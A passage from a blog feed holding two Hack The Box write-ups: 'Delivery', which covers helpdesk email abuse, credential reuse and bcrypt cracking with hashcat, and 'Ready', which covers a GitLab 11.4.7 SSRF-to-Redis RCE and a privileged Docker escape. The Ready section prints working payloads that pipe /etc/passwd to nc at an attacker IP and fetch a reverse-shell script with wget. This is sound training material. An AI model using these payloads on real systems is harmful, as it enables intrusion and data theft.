<p>If users have a <code>@delivery.htb</code> email, sign up for an internal Mattermost server. Lacking that, unregistered users can open a ticket on a help desk platform.so we start by checking out the ticket system. The same one linked by from help desk on the home page.</p>
<h3 id="os-ticket">OS Ticket</h3>
<p>This leads to another subdomain. <code>http://helpdesk.delivery.htb/</code>, which means <code>/et/hosts</code> will need to be edited to make it reachable.</p>
<p>A user account is not required prior to creating a ticket. It asks for standard information, name, email address, description of the problem, and so on.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-ticketcreatepage.png"
alt/></p>
<p>Doesn&rsquo;t seem to be a whole lot here. We can pull up our ticket using the info on this page for editing and further communication and we also have an email that we could send replies too.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-ticketopeneedpage.png"
alt/></p>
<p>From the ticket&rsquo;s status page, we can see the info we submitted to open the ticket originally.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-ticketmade.png"
alt/></p>
<p>An attempt can be made to register an account, but it requires email verification. As HTB boxes are not connected to the internet, there is never going to be a confirmation email.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-accontconfirmationrequired.png"
alt/></p>
<h3 id="foothold-mattermost-and-credential-reuse">Foothold, Mattermost and Credential Reuse</h3>
<p>The next thing to look at is the Mattermost instance.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostloginpage.png"
alt/></p>
<p>There is a login page but no credentials so far. It&rsquo;s possible to attempt to register but a <code>@delivery.htb</code> email account is required. A fake email could be submitted.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostsignuppage.png"
alt/></p>
<p>But&hellip; email verification is also required for Mattermost. It might seem to be a dead end. However, a user <em>can</em> register a <code>@delivery.htb</code> email account. It just takes a bit of creativity.</p>
<p>Recall the ticket created on the OS Ticket platform, it provided an email that could be send replies to the ticket. Prehapes, it can be used as a valid <code>@deliery.htb</code> email to register for the internal Mattermost server.</p>
<p>Sure enough, the email given by the support ticket can receive email confirmation&rsquo;s from Mattermost.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-verificationlinkiniticket.png"
alt/></p>
<p>Once the an account is verified it can be used to login to Mattermost.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-emailverified.png"
alt/></p>
<p>There are a few more steps in the account setup, including joining the Internal channel. Time to see what juicy secrets are being kept in their channels.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostinternalteam.png"
alt/></p>
<p>There are a few things to learn from this page. First, there are some credentials that can potentially be used to login elsewhere the OS Ticket platform and based on the conversation, they might work other places as well. <code>maildeliverer:Youve_G0t_Mail!</code></p>
<p>The above credentials can be used to access the Agent Sign in on OS Ticket. There might be other interesting info here but there doens&rsquo;t seem to be much here in this case.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-osticketagentlogin.png"
alt/></p>
<p><img src="http://0xnightwolf.github.io/img/delivery-osticketagentpanel.png"
alt/></p>
<p><img src="http://0xnightwolf.github.io/img/delivery-osticketagentlogin.png"
alt/></p>
<p>However, the Mattermost channel also mentioned that password reuse was a problem. These credentials will likely work elsewhere. Turns out one such place is, SSH.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-maildelivererssh.png"
alt/></p>
<h2 id="root-password-cracking">Root: Password Cracking</h2>
<p><code>maildelivery</code> doesn&rsquo;t have any interesting groups or sudo rights. It might be able to access where Mattermost credentials are stored. That would lead to some hashes we could likely crack.</p>
<p>First thing to try is to check the Mattermost <code>config.json</code> stored in <code>/opt/mattermost/config</code> There the credentials Mattermost uses to interact with a local mysql database, <code>mmuser:Crack_The_MM_Admin_PW</code>, are found.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostsqlsettings.png"
alt/></p>
<p>These can be used to login into the local mysql instance.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mysqldbaccess.png"
alt/></p>
<p>Listing the databases shows there is one for Mattermost. Among the tables it contains, is one for users.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostdatabase.png"
alt/></p>
<p>Select the username and password fields and listing the contents to reveal the hash for the &ldquo;root&rdquo; user.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>MariaDB <span style="color:#f92672">[</span>mattermost<span style="color:#f92672">]</span>&gt; <span style="color:#66d9ef">select</span> Username, password from Users;
</span></span><span style="display:flex;"><span>+----------------------------------+--------------------------------------------------------------+
</span></span><span style="display:flex;"><span>| Username | password |
</span></span><span style="display:flex;"><span>+----------------------------------+--------------------------------------------------------------+
</span></span><span style="display:flex;"><span>| surveybot | |
</span></span><span style="display:flex;"><span>| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
</span></span><span style="display:flex;"><span>| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
</span></span><span style="display:flex;"><span>| root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
</span></span><span style="display:flex;"><span>| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
</span></span><span style="display:flex;"><span>| channelexport | |
</span></span><span style="display:flex;"><span>| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
</span></span><span style="display:flex;"><span>| a9647633 | $2a$10$NPohGjjgCpRgA6fyFTnKhO5Y4l5XZchc7ax5mcOplVPU/qN/KjQri |
</span></span><span style="display:flex;"><span>+----------------------------------+--------------------------------------------------------------+
</span></span></code></pre></div><p>On the internal Mattermost channel, it was mentioned that &ldquo;PleasSubcribe!&rdquo; was probably used a lot and though it wasn&rsquo;t in rockyou.txt the admin thought it could be cracked pretty trivially with some rules.</p>
<p>Before it can be cracked, the hash type needs to be identified. Hash identifier can typically get you on the right track with these and this one is predicted to be bcrypt.</p>
<p>Rules are a way to create variations of Passwords without needing a larger password file. They can be things like adding <code>1234</code> at the end of a password or exchanging &ldquo;a&rdquo; for &ldquo;@&rdquo;. Hashcat includes a number of rules configuration files and they can be a good starting point. Next a &ldquo;wordlist&rdquo; with the single the single password, &ldquo;PleaseSubscribe!&rdquo; is created.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-PowerShell" data-lang="PowerShell"><span style="display:flex;"><span>.\hashcat64.exe -a 0 -m 3200 .\hashes_in.txt .\wordlist.txt -r .\rules\base64.rule
</span></span></code></pre></div><p><img src="http://0xnightwolf.github.io/img/delivery-hashcatcracked.png"
alt/></p>
<p>A result comes back pretty quickly.<code>root:PleaseSubscribe!21</code> That can be used to login over SSH and gain full access over the machine.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-root.png"
alt/></p>
<h2 id="notetxt">note.txt</h2>
<p>IppSec left a note.txt providing some more context and inspiration behind the foothold on this box. I highly recommend giving it a read.</p>
<pre tabindex="0"><code>root@Delivery:~# cat note.txt
I hope you enjoyed this box, the attack may seem silly but it demonstrates a pretty high risk vulnerability I&#39;ve seen several times. The inspiration for the box is here:
- https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c
Keep on hacking! And please don&#39;t forget to subscribe to all the security streamers out there.
- ippsec
</code></pre><p>In the spirit of the note, here are some cybersecurity streamers and YouTubers I would recommend checking out.</p>
<p><a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA"target="_blank" rel="noopener noreferrer">IppSec</a>
, the creator or this box, releases a video writeups for HTB boxes are they retire. They are very well put together and I would highly recommend checking them out for HTB or using <a href="https://ippsec.rocks/"target="_blank" rel="noopener noreferrer">his site</a>
to lookup specific tools or situations you might encounter.</p>
<p><a href="https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw"target="_blank" rel="noopener noreferrer">John Hammond</a>
posts video writeups for various CTFs and wargames. Awesome friendly guy and I totally recommend checking him out especially if you are looking to get started as a beginner.</p>
<p><a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w"target="_blank" rel="noopener noreferrer">LiveOverflow</a>
makes videos on various CTF challenges and also dug into several other topics in some short series including, hardware security research, browser exploitation, Pwn Adventure 3 (a game designed for hacking) and a whole lot more.</p>
<p><a href="https://www.youtube.com/channel/UC3S8vxwRfqLBdIhgRlDRVzw"target="_blank" rel="noopener noreferrer">StackSmashing</a>
has done some really cool things in relation to hardware, reverse engineering, and hacking handheld game devices. There is also a few on reversing WannaCry and one about reversing and modifying an IoT Camera.</p>
<p><a href="https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg"target="_blank" rel="noopener noreferrer">Gynvael</a>
streams regularly each week on various cyber security topics. One things about it is because it is a live stream, you get a chance to see raw work flow and methodology.</p>
<p><a href="https://www.twitch.tv/gamozo"target="_blank" rel="noopener noreferrer">Gamozo Labs</a>
does a lot of low level programming. His tool of choice is Rust and he has a lot of cool projects to show from writing an OS to a kernel exploit for an older version of Android. I won&rsquo;t claim to understand everything he is doing but it&rsquo;s very fun to hang around and I still manage to pick up bits and pieces. He posts many of his past streams on <a href="https://www.youtube.com/channel/UC17ewSS9f2EnkCyMztCdoKA"target="_blank" rel="noopener noreferrer">YouTube</a>
.</p>
<p><a href="https://www.youtube.com/channel/UCW6MNdOsqv2E9AjQkv9we7A"target="_blank" rel="noopener noreferrer">PwnFunction</a>
has some really awesome dives explaining various web vulnerabilities, what causes them and how to exploit them. Recently he has also been working on a Binary Exploitation series.</p>
<p>If you are looking for <em>even more</em> cybersecurity content creators, check out this video -&gt; <a href="https://www.youtube.com/watch?v=GSraDuD4ziQ"target="_blank" rel="noopener noreferrer">https://www.youtube.com/watch?v=GSraDuD4ziQ</a>
</p>
<h2 id="wrap-up">Wrap up</h2>
<p>This box is probably one of my favorites simply because the foothold was so satisfying once I figured out and yet incredibly simple. I really appreciate IppSec taking the time to make this box and include the note about the inspiration. Hopefully, it was insightful for the rest of you as well.</p>
</description>
</item>
<item>
<title>HTB Ready</title>
<link>http://0xnightwolf.github.io/htb-writeups/ready-writeup.md/</link>
<pubDate>Sat, 15 May 2021 00:00:00 -0600</pubDate>
<guid>http://0xnightwolf.github.io/htb-writeups/ready-writeup.md/</guid>
<description><p><img src="http://0xnightwolf.github.io/img/ready-logo.png"
alt/></p>
<p>Ready is a GitLab instance were we exploit an SSRF in order to get code execution and find ourselves in a docker container. We find some credentials to escalate to root inside the container and then leverage the fact it was started with the &ldquo;privileged&rdquo; flag to escape the container.</p>
<h2 id="enumeration">Enumeration</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Starting Nmap 7.91 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2021-01-27 00:15 UTC
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.129.90.66
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.095s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 8.2p1 Ubuntu <span style="color:#ae81ff">4</span> <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">3072</span> 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>5080/tcp open http nginx
</span></span><span style="display:flex;"><span>| http-robots.txt: <span style="color:#ae81ff">53</span> disallowed entries <span style="color:#f92672">(</span><span style="color:#ae81ff">15</span> shown<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| / /autocomplete/users /search /api /admin /profile
</span></span><span style="display:flex;"><span>| /dashboard /projects/new /groups/new /groups/*/edit /users /help
</span></span><span style="display:flex;"><span>|_/s/ /snippets/new /snippets/*/edit
</span></span><span style="display:flex;"><span>| http-title: Sign in <span style="color:#ae81ff">\x</span>C2<span style="color:#ae81ff">\x</span>B7 GitLab
</span></span><span style="display:flex;"><span>|_Requested resource was http://10.129.90.66:5080/users/sign_in
</span></span><span style="display:flex;"><span>|_http-trane-info: Problem with XML parsing of /evox/about
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 20.31 seconds
</span></span></code></pre></div><p>NMAP shows that port 22 is open for SSH and there is a GitLab instance running a web server on port 5080. A sign in page is accessible that allows new accounts to be created.</p>
<p><img src="http://0xnightwolf.github.io/img/ready-gitlabsignup.png"
alt/></p>
<p>With a newly created account it is possible to check for any public projects or users to find more information in this box. However, in this instance there isn&rsquo;t anything and the instance appears blank.</p>
<p><img src="http://0xnightwolf.github.io/img/ready-gitlabhelppage.png"
alt/></p>
<p>It is possible to access a help page which, among other things, lists the current version, 11.4.7 and the notice to &ldquo;Update asap&rdquo;.</p>
<p>Research on GitLab 11.4.7 there is a well know RCE through an Server Side Request Forgery, a type of vulnerability, where an an attacker can change a URL which the server will attempt to read or submit data too. In this case, it allows us to interact with an internal redis database service and start a malicious worker package. This vulnerability was was featured in Real World CTF 2018 and LiveOverflow created a <a href="https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/"target="_blank" rel="noopener noreferrer">video and blog post</a>
detailing it.</p>
<p>It is possible to follow along with the blog post to create a proof of concept allowing <code>/etc/passwd</code> to be read.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span> multi
</span></span><span style="display:flex;"><span> sadd resque:gitlab:queues system_hook_push
</span></span><span style="display:flex;"><span> lpush resque:gitlab:queue:system_hook_push <span style="color:#e6db74">&#34;{\&#34;class\&#34;:\&#34;GitlabShellWorker\&#34;,\&#34;args\&#34;:[\&#34;class_eval\&#34;,\&#34;open(\&#39;|cat /etc/passwd | nc 10.10.14.142 1234\&#39;).read\&#34;],\&#34;retry\&#34;:3,\&#34;queue\&#34;:\&#34;system_hook_push\&#34;,\&#34;jid\&#34;:\&#34;ad52abc5641173e217eb2e52\&#34;,\&#34;created_at\&#34;:1513714403.8122594,\&#34;enqueued_at\&#34;:1513714403.8129568}&#34;</span>
</span></span><span style="display:flex;"><span> exec
</span></span><span style="display:flex;"><span> exec
</span></span><span style="display:flex;"><span>/ssrf.git
</span></span></code></pre></div><p>This payload is URL encoded and then <code>git://[0:0:0:0:0:ffff:127.0.0.1]:6379/</code> is added to the front to bypass the check filter to block requests to localhost on the GitLab server. The next step is to create a new project and chose to import a git repo by URL.</p>
<p><img src="http://0xnightwolf.github.io/img/ready-importproject.png"
alt/></p>
<p>Provide our URL encoded payload, set up a netcat listener on port 1234, and then submitting the payload, returns the contents of <code>/etc/password</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git://<span style="color:#f92672">[</span>0:0:0:0:0:ffff:127.0.0.1<span style="color:#f92672">]</span>:6379/%0A%20multi%0A%20sadd%20resque:gitlab:queues%20system_hook_push%0A%20lpush%20resque:gitlab:queue:system_hook_push%20%22%7B%5C%22class%5C%22:%5C%22GitlabShellWorker%5C%22,%5C%22args%5C%22:%5B%5C%22class_eval%5C%22,%5C%22open<span style="color:#f92672">(</span>%5C<span style="color:#e6db74">&#39;%7Ccat%20/etc/passwd%20%7C%20nc%2010.10.14.142%201234%5C&#39;</span><span style="color:#f92672">)</span>.read%5C%22%5D,%5C%22retry%5C%22:3,%5C%22queue%5C%22:%5C%22system_hook_push%5C%22,%5C%22jid%5C%22:%5C%22ad52abc5641173e217eb2e52%5C%22,%5C%22created_at%5C%22:1513714403.8122594,%5C%22enqueued_at%5C%22:1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A/ssrf.git
</span></span></code></pre></div><p><img src="http://0xnightwolf.github.io/img/ready-etcpasswdfromimport.png"
alt/></p>
<h2 id="foothold">Foothold</h2>
<p>Obtaining a reverse shell proved to be a bit tricky. Executing one reverse shell directly from called back but then terminated immediately. Instead, a shell can be obtained in few additional steps. Create a bash reverse shell in a script and start a python http server. Then use two SSRF requests. The first one downloads the revershell using wget. The second one executes it.</p>
<p><strong>Get script.sh</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span> multi
</span></span><span style="display:flex;"><span> sadd resque:gitlab:queues system_hook_push
</span></span><span style="display:flex;"><span> lpush resque:gitlab:queue:system_hook_push <span style="color:#e6db74">&#34;{\&#34;class\&#34;:\&#34;GitlabShellWorker\&#34;,\&#34;args\&#34;:[\&#34;class_eval\&#34;,\&#34;open(\&#39;| wget http://10.10.14.142/script.sh \&#39;).read\&#34;],\&#34;retry\&#34;:3,\&#34;queue\&#34;:\&#34;system_hook_push\&#34;,\&#34;jid\&#34;:\&#34;ad52abc5641173e217eb2e52\&#34;,\&#34;created_at\&#34;:1513714403.8122594,\&#34;enqueued_at\&#34;:1513714403.8129568}&#34;</span>
</span></span><span style="display:flex;"><span> exec
</span></span><span style="display:flex;"><span> exec
</span></span><span style="display:flex;"><span>/ssrf.git
</span></span></code></pre></div><p><strong>Execute script.sh</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span> multi
</span></span><span style="display:flex;"><span> sadd resque:gitlab:queues system_hook_push
</span></span><span style="display:flex;"><span> lpush resque:gitlab:queue:system_hook_push <span style="color:#e6db74">&#34;{\&#34;class\&#34;:\&#34;GitlabShellWorker\&#34;,\&#34;args\&#34;:[\&#34;class_eval\&#34;,\&#34;open(\&#39;| bash script.sh \&#39;).read\&#34;],\&#34;retry\&#34;:3,\&#34;queue\&#34;:\&#34;system_hook_push\&#34;,\&#34;jid\&#34;:\&#34;ad52abc5641173e217eb2e52\&#34;,\&#34;created_at\&#34;:1513714403.8122594,\&#34;enqueued_at\&#34;:1513714403.8129568}&#34;</span>
</span></span><span style="display:flex;"><span> exec
</span></span><span style="display:flex;"><span> exec
</span></span><span style="display:flex;"><span>/ssrf.git
</span></span></code></pre></div><p><img src="http://0xnightwolf.github.io/img/ready-shellhuzzah.png"
alt/></p>
<h2 id="user">User</h2>
<p>Very first thing to do, especially since this was a pain, is to upgrade are shell so we have more options and are less likely to crash it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git@gitlab:~/gitlab-rails/working$ python3 -c <span style="color:#e6db74">&#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;</span>
</span></span><span style="display:flex;"><span>&lt;orking$ python3 -c <span style="color:#e6db74">&#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;</span>
</span></span><span style="display:flex;"><span>git@gitlab:~/gitlab-rails/working$ ^Z
</span></span><span style="display:flex;"><span>zsh: suspended nc -lnvp <span style="color:#ae81ff">1234</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>nightwolf㉿archlinux<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/HTB/Ready<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ stty -a | head -n1 | cut -d <span style="color:#e6db74">&#39;;&#39;</span> -f 2-3 | cut -b2- | sed <span style="color:#e6db74">&#39;s/; /\n/&#39;</span> <span style="color:#ae81ff">148</span> ⨯ <span style="color:#ae81ff">1</span> ⚙
</span></span><span style="display:flex;"><span>rows <span style="color:#ae81ff">54</span>
</span></span><span style="display:flex;"><span>columns <span style="color:#ae81ff">170</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>nightwolf㉿archlinux<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/HTB/Ready<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ stty raw -echo; fg <span style="color:#ae81ff">1</span> ⚙
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>1<span style="color:#f92672">]</span> + continued nc -lnvp <span style="color:#ae81ff">1234</span>
</span></span><span style="display:flex;"><span> stty rows <span style="color:#ae81ff">54</span> cols <span style="color:#ae81ff">170</span>
</span></span><span style="display:flex;"><span>git@gitlab:~/gitlab-rails/working$ export TERM<span style="color:#f92672">=</span>xterm-256color
</span></span><span style="display:flex;"><span>git@gitlab:~/gitlab-rails/working$ exec /bin/bash
</span></span><span style="display:flex;"><span>git@gitlab:~/gitlab-rails/working$
</span></span></code></pre></div><p>The user can be found in <code>/home/dude/user.txt</code> but the current user of <code>gitlab</code> is unable to read the file itself. <code>gitlab</code> doesn&rsquo;t have any interesting groups or files that stand out in it&rsquo;s home folder. There don&rsquo;t have any passwords to try with suds or su. Expanding the search, for config files that might contain credentials or other interesting info, <code>.dockerenv</code> is found. This is a file in the root of the file system, letting us know that the current shell is inside a docker container.</p>
<p><img src="http://0xnightwolf.github.io/img/ready-inthematrix.png"
alt/></p>
<p>In the the <code>/opt</code> directory there is a folder titled &ldquo;backup&rdquo; inside are various configuration files for GitLab and a docker compose file that looks to have been the same one that may have been used to start this container.</p>
<p>Another file present in the same folder is <code>gitlab.rb</code> a configuration file for GItLab. There is a lot of data to sift through inside it. Grep can be used to to filter out some more useful info. For example the following can be used to find references to &ldquo;password &ldquo;<code>grep -R &quot;password&quot; ./</code> and reveals, <code>wW59U!ZKMbG9+*#h</code>.</p>
<p><img src="http://0xnightwolf.github.io/img/ready-backupdirpassword.png"
alt/></p>
<p>This password is not valid for <code>dude</code> but does allow <code>su</code> to <code>root</code> user inside the container. User.txt is also accessible.</p>
<h2 id="root">Root</h2>
<p>Docker is a platform that makes use of Linux namespaces to provide an isolated environment called a container. They can seem similar to virtual machines but are different on a technical level. If you want to read some more about that you can check out the <a href="https://docs.docker.com/get-started/overview/#the-underlying-technology"target="_blank" rel="noopener noreferrer">documentation</a>
</p>
<p>The docker compose file found before showed the container was likely started with the <code>--privileged</code> flag, not something. The <code>--privileged</code> flag launches the container with extended privileges that can be abused.</p>
<p>From the documentation, &ldquo;By default, Docker containers are “unprivileged” and cannot, for example, run a Docker daemon inside a Docker container. This is because by default a container is not allowed to access any devices, but a “privileged” container is given access to all devices (see the documentation on <a href="https://www.kernel.org/doc/Documentation/cgroup-v1/devices.txt"target="_blank" rel="noopener noreferrer">cgroups devices</a>
).</p>
<p>When the operator executes <code>docker run --privileged</code>, Docker will enable access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the same access to the host as processes running outside containers on the host. Additional information about running with <code>--privileged</code> is available on the <a href="http://blog.docker.com/2013/09/docker-can-now-run-within-docker/"target="_blank" rel="noopener noreferrer">Docker Blog</a>
.&rdquo;</p>
<p>This is going to enable escape from the container and gain root on the host in two very simple commands. First make a directory and then simply mount sda2 in that directory.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p /mnt/hola
</span></span><span style="display:flex;"><span>mount /dev/sda2 /mnt/hola
</span></span></code></pre></div><p>From the the file system from of the host system is accessible the container. <code>/mnt/hola/root</code> contains the root flag.</p>
<p><img src="http://0xnightwolf.github.io/img/ready-mountoutsidefilesystem.png"
alt/></p>
<p>It is possible to obtain a root shell on the host system itself through several methods. One of which is retrive the root ssh key from, <code>/mnt/hola/root/.ssh/id_rsa</code></p>
<p><img src="http://0xnightwolf.github.io/img/ready-caniintrestyouinashell.png"
alt/></p>
<p><img src="http://0xnightwolf.github.io/img/ready-indeedyoucan.png"
alt/></p>
<h2 id="wrap-up">Wrap up</h2>
<p>Huge thanks to <a href="https://app.hackthebox.eu/users/27897"target="_blank" rel="noopener noreferrer">bertolis</a>
for creating this machine. I did see several comments talking about how it was very similar to another machine that was active at the time but it still felt unique to me, especially after foothold. A docker escape was also pretty fun and I&rsquo;d like to learn more advanced ways to do that in the future.</p>
</description>
</item>
<item>
<title>HTB Ready</title>
<link>http://0xnightwolf.github.io/posts/ready-writeup.md/</link>